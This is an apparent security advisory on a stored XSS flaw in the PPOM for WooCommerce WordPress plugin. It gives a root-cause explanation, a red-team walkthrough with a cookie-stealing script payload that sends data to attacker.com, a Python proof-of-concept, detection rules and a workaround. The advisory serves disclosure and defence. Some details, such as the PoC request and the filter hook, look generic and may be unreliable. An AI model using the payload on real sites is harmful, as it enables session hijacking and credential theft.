CVE-2025-24668

Executive Summary

CVE-2025-24668 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PPOM for WooCommerce (woocommerce-product-addon) developed by Themeisle. The vulnerability exists in versions up to and including 33.0.8. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into product meta fields. When an administrator or other user views the affected product page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. Since no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to block XSS payloads.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires contributor-level access
• User Interaction (UI): Required (R) – victim must view the product page
• Scope (S): Changed (C) – impact extends beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): Low (L)
• Base Score: 5.9 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an administrator’s session is compromised.

Deep Dive & Mechanics

The vulnerability resides in the PPOM for WooCommerce plugin, which allows users to add custom meta fields to WooCommerce products. The plugin fails to properly sanitize and escape user-supplied input when saving product meta data. An attacker with contributor-level access can inject arbitrary JavaScript into fields such as product descriptions, custom labels, or tooltips. When an administrator or other user views the product page, the injected script executes in the context of the victim’s browser.

Root Cause: The plugin uses echo or print to output user input without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a product and injects a malicious script into a PPOM meta field (e.g., <script>alert('XSS')</script>).
3. Administrator or other user views the product page.
4. The injected script executes, potentially stealing cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from PPOM <= 33.0.8):

echo $product_meta['custom_label'];

Patched Code (expected fix):

echo esc_html( $product_meta['custom_label'] );

The patched version would use esc_html() to neutralize any HTML or JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with PPOM for WooCommerce <= 33.0.8
• Contributor-level account

Steps:

1. Log in as a contributor.
2. Navigate to Products > Add New.
3. In a PPOM meta field (e.g., “Custom Label”), inject:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish the product.
5. Send the product link to an administrator.
6. When the admin views the product, their cookies are exfiltrated.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-wordpress.com"
username = "contributor"
password = "password"

session = requests.Session()
session.post(f"{target}/wp-login.php", data={"log": username, "pwd": password})

# Create product with XSS payload
payload = "<script>alert('XSS')</script>"
data = {
    "post_title": "Test Product",
    "content": "Product description",
    "ppom_meta[custom_label]": payload,
    "publish": "Publish"
}
session.post(f"{target}/wp-admin/post-new.php?post_type=product", data=data)
print("Product created with XSS payload.")

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual product creation or editing by low-privileged users.
• Look for <script> tags or event handlers in product meta fields.
• Use a WAF to block common XSS patterns.

Prevention:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output escaping on all user-supplied data.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/post-new.php?post_type=product containing <script> tags in POST data.
• File: Modified product meta fields in the database containing JavaScript.
• Log: WordPress debug logs showing ppom_meta array with suspicious values.
• Behavior: Unexpected redirects or cookie theft from admin browsers.

Detection Engineering

YARA Rule

rule CVE_2025_24668_XSS {
    meta:
        description = "Detects XSS payloads in PPOM for WooCommerce meta fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24668"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-24668 - Stored XSS in PPOM for WooCommerce
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via PPOM meta fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post_type=product'
        cs-body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24668 - Stored XSS in PPOM for WooCommerce"; flow:to_server,established; content:"POST"; http_method; content:"post_type=product"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply a virtual patch using a WAF to block <script> tags and event handlers in product meta fields.
3. Restrict contributor-level access to only trusted users.

Long-Term Fix:

• Monitor the plugin’s update channel for a patched version (expected to be > 33.0.8).
• Once available, update to the latest version immediately.
• Conduct a security audit of all custom meta fields to ensure proper escaping.

Workaround:

• Add the following code to the theme’s functions.php to sanitize PPOM meta fields:

add_filter('ppom_meta_data_save', function($meta) {
    foreach ($meta as $key => $value) {
        $meta[$key] = esc_html($value);
    }
    return $meta;
});

Valters IT
Securing WordPress ecosystems, one CVE at a time.